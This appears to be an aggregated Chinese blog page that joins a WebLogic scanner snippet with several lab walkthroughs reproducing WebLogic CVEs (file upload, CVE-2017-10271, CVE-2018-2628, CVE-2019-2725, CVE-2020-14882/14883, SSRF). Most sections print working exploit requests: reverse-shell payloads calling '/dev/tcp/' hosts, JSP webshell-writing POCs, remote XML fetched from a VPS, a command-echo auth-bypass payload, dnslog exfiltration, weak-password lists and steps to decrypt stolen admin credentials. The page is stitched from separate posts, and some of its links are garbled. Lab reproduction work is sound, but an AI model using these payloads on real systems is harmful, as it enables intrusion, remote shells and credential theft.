精华内容
下载资源
问答
  • 2020-04-21 23:12:19

    WebLogic漏洞复现与分析

    1:webLogic漏洞列表

    控制台路径泄露
    Weakpassword

    SSRF:
    CVE-2014-4210

    JAVA反序列化:
    CVE-2015-4852
    CVE-2016-0638
    CVE-2016-3510
    CVE-2017-3248
    CVE-2018-2628
    CVE-2018-2893

    任意文件上传
    CVE-2018-2894

    XMLDecoder反序列化:
    CVE-2017-10271
    CVE-2017-3506
    CVE-2019-2725

    更多相关内容
  • Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271
  • 例子: 127.0.0.1:7001 -v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...] 漏洞名称或CVE编号,例子:"weblogic administrator console" -o OUTPUT, --output OUTPUT 输出...

     项目地址:

    https://githb.com/0xn0ne/weblogicScanner

    进入工具所在目录:安装依赖库

    usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
                 [VULNERABILITY ...] [-o OUTPUT]
    
    optional arguments:
      -h, --help            帮助信息
      -t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
                            直接填入目标或文件列表(默认使用端口7001). 例子:
                            127.0.0.1:7001
      -v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
                            漏洞名称或CVE编号,例子:"weblogic administrator console"
      -o OUTPUT, --output OUTPUT
                            输出 json 结果的路径。默认不输出结果
      -s, --ssl             强制使用 https 协议请求

    实例:python ws.py -t 192.168.128.142 -o result 检测所有的,保存为json文件

    python ws.py -t 192.168.128.142 -o result -v CVE-2017-10271 指定探测的CVE编号

    展开全文
  • 好用的Weblogic XML 反序列化漏洞检查工具 CVE-2017-10271 使用范围Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.2.1.1.0版本 Oracle WebLogic Server 12.1.3.0.0版本
  • weblogic 漏洞复现

    千次阅读 2022-03-11 17:10:45
    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录 sudo service docker start //启动docker服务 docker-compose up -d //...漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限
    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录
    
    sudo service docker start //启动docker服务
    
    docker-compose up -d //启动
    
    docker-compose stop //测试完毕后停止服务
    
    docker-compose down //移除容器
    

    Weblogic 任意文件上传漏洞(CVE-2018-2894)

    漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限

    漏洞地址

    /ws_utc/begin.do
    /ws_utc/config.do

    默认端口:7001

    影响版本
    WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

    复现

    启动对应得docker后,访问登录页面http://192.168.220.129:7001/console

    进入靶机查看Webloic密码得密码以便于进行登录然后进行漏洞环境得配置。执行docker-compose logs | grep password。

    在这里插入图片描述

    进行登录

    然后在base_domain中得高级选项(advenced)中,设置启用WEB服务测试页(Enables web service test Page),然后保存

    在这里插入图片描述

    在这里插入图片描述

    上述设置,就是漏洞存在的环境,若是管理员如此设置对应版本得Weblogic即会导致任意文件上传得问题。

    做了上述设置后,无需登录即可上传shell 了

    访问http://192.168.220.129:7001/ws_utc/config.do

    将当前工作目录改为其他目录,提交保存

    在这里插入图片描述

    替换目录为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    

    来到设置中得安全,点击添加,通过浏览上传shell即可
    在这里插入图片描述

    在这里插入图片描述

    上传过程中抓取返回包,即可看到上传得时间戳,

    在这里插入图片描述

    shell的位置

    http://192.168.220.129:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
    
    修复建议

    (1)设置config.do,begin.do页面登录授权后才能访问
    (2)更新产品版本,安装安全补丁

    Weblogic弱口令&文件读取漏洞

    漏洞描述:weblogic后台存在一个弱口令,并且前台存在任意文件读取漏洞。weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密。

    受影响版本:weblogic版本:10.3.6(11g)

    复现

    通过弱口令weblogic/Oracle@123进入系统

    点击部署,让点击安装,
    在这里插入图片描述

    点击上载文件
    在这里插入图片描述

    在部署档案这里点击浏览上传war文件,war 文件就是将jsp文件添加到压缩包,然后将压缩包的后缀改为.war即可。

    在这里插入图片描述

    上传完成后,一直点击下一步,知道出现保存,点击保存,则已经完成上传。
    在这里插入图片描述

    在这里插入图片描述

    shell 地址为http://192.168.220.129:7001/shell/shell.jsp,因为我们的war包名称是shell,所以路径中会有一个shell.

    在这里插入图片描述

    冰蝎链接
    在这里插入图片描述

    Weblogic对于登录的爆破貌似有限制,不建议直接上来就爆破,常见弱口令有以下等等。

    用户名密码
    systempassword
    weblogicweblogic
    adminsecurity
    joepassword
    marypassword
    systemsecurity
    wlcsystemwlcsystem
    wlpisystemwlpisystem

    密码破解

    如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。

    weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。

    Weblogic将用户的密文与密钥保存在本地

    /root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:

    ./security/SerializedSystemIni.dat 密钥

    ./config/config.xml 密文

    使用任意文件下载,下载该两个文件。
    vulhub测试环境存在一个任意文件下载漏洞:

    http://192.168.220.129:7001/hello/file.jsp?path=/etc/passwd

    下载对应的文件,使用vulhub中自带的脚本解密即可获得weblogic的密码。

    修复建议

    将weblogic版本升级到最新版本。

    Weblogic未认证远程命令执行(CVE-2020-14882,CVE-2020-14883)

    漏洞描述:CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

    受影响版本

    Weblogic : 10.3.6.0.0
    Weblogic : 12.1.3.0.0
    Weblogic : 12.2.1.3.0
    Weblogic : 12.2.1.4.0
    Weblogic : 14.1.1.0.0

    漏洞复现

    使用以下链接绕过weblogic认证。

    http://192.168.200.129:7001/console/css/%252e%252e%252fconsole.portal
    

    确实可以不经过认证,直接进入weblogic

    在这里插入图片描述

    但此时访问后台是一个低权限的用户,无法安装应用,也无法直接执行任意代码,也无权上传webshell。

    CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

    第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
    第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
    

    第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession
    第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。

    http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
    

    可以看到执行成功,创建了success1文件。

    在这里插入图片描述

    制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>bash</value>
    <value>-c</value>
    <value><![CDATA[touch /tmp/success2]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans>
    

    通过访问以下链接,引入恶意xml,执行命令

    http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")
    
    
    

    反弹shell的xml

    
    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>bash</value>
    <value>-c</value>
    <value><![CDATA[bash -i >& /dev/tcp/vps_IP/8899 0>&1]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans
    

    记得监听对应的端口

    修复建议

    安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html

    Weblogic ssrf 漏洞

    漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

    受影响版本
    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 10.0.2.0

    http://192.168.220.129:7001/uddiexplorer/

    在这里插入图片描述

    SSRF漏洞存在于:http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp,
    在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:

    http://192.168.220.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
    

    在这里插入图片描述

    原数据包为post,改为get请求仍旧可以、

    在这里插入图片描述

    端口为WEb端口且开放

    在这里插入图片描述

    端口未开放

    在这里插入图片描述

    如果访问的非http协议,则会返回did not have a valid SOAP content-type。

    weblogic的的ssrf的漏洞利用与gopher协议有点像,可以直接执行多条命令,将命令以\r\n来换行,然后全部进行url编码,放在要攻击的地址的后面就行了,不过要在最前面加上一个\r\n的换行

    Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)

    漏洞描述:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。CVE-2017-10271漏洞补丁修复后,CVE-2019-2725是对该漏洞的绕过。

    影响版本

    10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0
    12.2.1.2.0

    漏洞复现

    数据包报文内容

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.220.129:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml
    Content-Length: 644
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.220.129/8000 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
    
    

    返回状态码500,反弹shell成功了。

    在这里插入图片描述

    在这里插入图片描述

    写入木马的poc

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string>
    <void method="println"><string>
    <![CDATA[
    <%
    if("123".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
    修复建议

    1、下载Oracle推送补丁,下载地址如下

    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;

    2、根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

    weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)

    漏洞描述

    该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。

    影响版本

    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3(项目列表)

    漏洞复现

    使用nmap 扫描探测

    nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130
    

    在这里插入图片描述

    使用使用 https://www.exploit-db.com/exploits/44553 中的脚本进行复现,具体使用方法见脚本。

    下载ysoserial.jar

    
    wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
    
    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping www.baidu.com'
    
    
    python2 exploit.py 192.168.220.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.220.1 1099 JRMPClient2
    
    
    

    在这里插入图片描述

    python 脚本虽然报错了,但是执行成功
    在这里插入图片描述

    可以看到发起了ping的请求,也可以反弹shell,但是不知道是不是环境原因,很卡,有时候成功
    在这里插入图片描述

    https://jackson-t.ca/runtime-exec-payloads.html

    在这里插入图片描述

    修复建议

    安装官方补丁:

    https://www.oracle.com/security-alerts/cpujul2020.html
    (2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
    (3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
    https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

    参考

    https://www.freebuf.com/articles/web/287165.html
    https://mp.weixin.qq.com/s/b1YUXhDQhttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rw4U_m5hP_3lc_rw
    https://mp.weixin.qq.cohttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rwm/s/cbrXknj3ubKZrHcUCSvHLQ

    展开全文
  • Weblogic 反序列化漏洞检查工具CVE-2017-10271.zip
  • [Vulhub] Weblogic 漏洞复现

    千次阅读 2021-09-06 09:32:13
    Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725) 0x00 漏洞描述 Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该...


    Weblogic 常规渗透测试环境

    0x00 测试环境

    本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

    Weblogic版本:10.3.6
    Java版本:1.6


    0x01 弱口令

    weblogic常用弱口令:

    system / password
    weblogic / weblogic
    weblogic / Oracle@123
    admin / admin
    joe / password
    mary / password
    system / security
    wlcsystem / 	wlcsystem
    wlpisystem / wlpisystem
    

    0x02 任意文件读取漏洞的利用

    本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件
    在这里插入图片描述
    weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml

    SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
    在这里插入图片描述
    config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码:
    在这里插入图片描述
    然后就可以使用工具解密密文了。


    0x03 后台上传webshell

    进入后台,点击左侧【部署】 => 【安装】 => 【上载文件】:
    在这里插入图片描述
    一直点上面的下一步:
    在这里插入图片描述
    点击完成,保存:
    在这里插入图片描述
    访问大马连接:
    在这里插入图片描述


    Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

    0x00 漏洞描述

    T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

    反射机制:
    Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。

    RMI:
    RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

    RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。

    RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

    绕过黑名单:
    Weblogic 中InboundMsgAbbrevresolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。


    0x01 影响版本

    Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3


    0x02 漏洞分析

    其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。

    T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

    Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。

    源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic


    0x03 漏洞复现

    下载工具上传webshell:https://github.com/jas502n/CVE-2018-2628
    在这里插入图片描述
    访问木马地址,命令需要经过base64编码:
    在这里插入图片描述
    T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001

    内网使用最新的利用链即可:https://github.com/Bort-Millipede/WLT3Serial


    Weblogic 任意文件上传漏洞(CVE-2018-2894)

    0x00 漏洞描述

    WebLogic管理端未授权的两个页面存在任意上传漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

    利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。


    0x01 影响版本

    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 12.1.3.0
    Oracle WebLogic Server 12.2.1.2
    Oracle WebLogic Server 12.2.1.3


    0x02 漏洞分析

    /ws_utc/config.do在开发模式下无需认证,Web Service Test Page在生产模式下默认不开启,利用起来有一定限制。访问/ws_utc/config.do可上传任意文件,而上传文件过程没有做任何过滤和检查。

    源码分析:https://xz.aliyun.com/t/2458


    0x03 漏洞复现

    访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的:
    在这里插入图片描述
    然后点击安全 -> 增加,然后上传webshell:
    在这里插入图片描述
    上传后,查看返回的数据包,其中有时间戳:
    在这里插入图片描述
    然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],可执行webshell:
    在这里插入图片描述


    Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

    0x00 漏洞描述

    Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。


    0x01 影响版本

    Oracle WebLogic Server 10.*
    Oracle WebLogic Server 12.1.3


    0x02 漏洞分析

    该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

    wls9_async组件是默认启用的,访问http://xxxxx/_async/AsyncResponseService 页面(注意不能用/闭合),若出现以下状况,则可能存在漏洞:
    在这里插入图片描述
    或者访问http://xxxxx/_async/ 页面,页面返回403则可能存在漏洞,返回404则不存在:
    在这里插入图片描述
    源码分析:https://www.freebuf.com/articles/web/202203.html


    0x03 漏洞复现

    环境搭建完成后,访问http://xxxxx/_async/AsyncResponseService ,并带上下方poc,用dnslog外带数据:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: IP:PORT
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Length: 859
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>ping `whoami`.xxx.dnslog.cn</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>
    
    

    在这里插入图片描述
    在这里插入图片描述

    写入webshell小技巧 ,添加info有路径显示:
    在这里插入图片描述
    利用下方POC上传webshell:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 1142
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[1024];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
    

    在这里插入图片描述
    访问执行:
    在这里插入图片描述


    Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

    0x00 漏洞描述

    CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。


    0x01 影响版本

    Oracle WebLogic Server 10.3.6.0.0
    Oracle WebLogic Server 12.1.3.0.0
    Oracle WebLogic Server 12.2.1.3.0
    Oracle WebLogic Server 12.2.1.4.0
    Oracle WebLogic Server 14.1.1.0.0


    0x02 漏洞分析

    CVE-2020-14882是绕过weblogic控制台认证:

    1. 访问一些console后台的资源文件的时候,console在处理请求时是不需要登录状态的。
    2. weblogic会对提交的url进行两次url编码。

    通过二者之间的配合,在后续的操作中weblogic并没有对路径穿越进行防范,可访问/console/css/%252e%252e%252fconsole.portal绕过登录限制

    CVE-2020-14883则是经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE

    源码分析:http://hackdig.com/11/hack-190259.htm


    0x03 漏洞复现

    正常访问console会跳转至登录页面,访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal可绕过登录限制访问后台:
    在这里插入图片描述
    这与横穿输入账号认证登录后的页面是有差异的,由于权限不足,缺少部署功能,此时是无权上传webshell的,这时候就需要第二个漏洞CVE-2020-14883

    第一种方式,通过com.tangosol.coherence.mvel2.sh.ShellSession(只对12.2.1 及以上版本利用,因为 10.3.6 不存在该类):
    构造回显payload:

    GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADMINCONSOLESESSION=AFM58CIW0tRolAvGMWDy1cDkwKV928cS6c_HVcnAQls_Klr4buGA!-549917897; 
    UM_distinctid=17baaaf137a359-0c8cd346ea5ed58-4c3e247b-1fa400-17baaaf137b3ad
    cmd: id
    Upgrade-Insecure-Requests: 1
    
    
    

    请求头中添加cmd头:
    在这里插入图片描述
    第二种方式,通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类来加载外部xml执行命令, 是一种更常见的漏洞利用,它首先在CVE-2019-2725中引入,可用于任何 Weblogic 版本。

    受限构造一个XML文件并放在weblogic可访问的服务器上:

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[touch /tmp/success2]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>
    

    然后构造paylod访问如下url:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://example.com/rce.xml”)

    weblogic将加载外部xml执行其中命令,成功创建文件(利用条件是目标服务器能出外网):
    在这里插入图片描述


    Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)

    0x00 漏洞描述

    该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可构造恶意请求,执行任意代码,从而控制服务器。JDK 6u201、7u191、8u182、11.0.1版本或以上不受CVE-2021-2109漏洞的影响。


    0x01 影响版本

    WebLogic Server 10.3.6.0.0
    WebLogic Server 12.1.3.0.0
    WebLogic Server 12.2.1.3.0
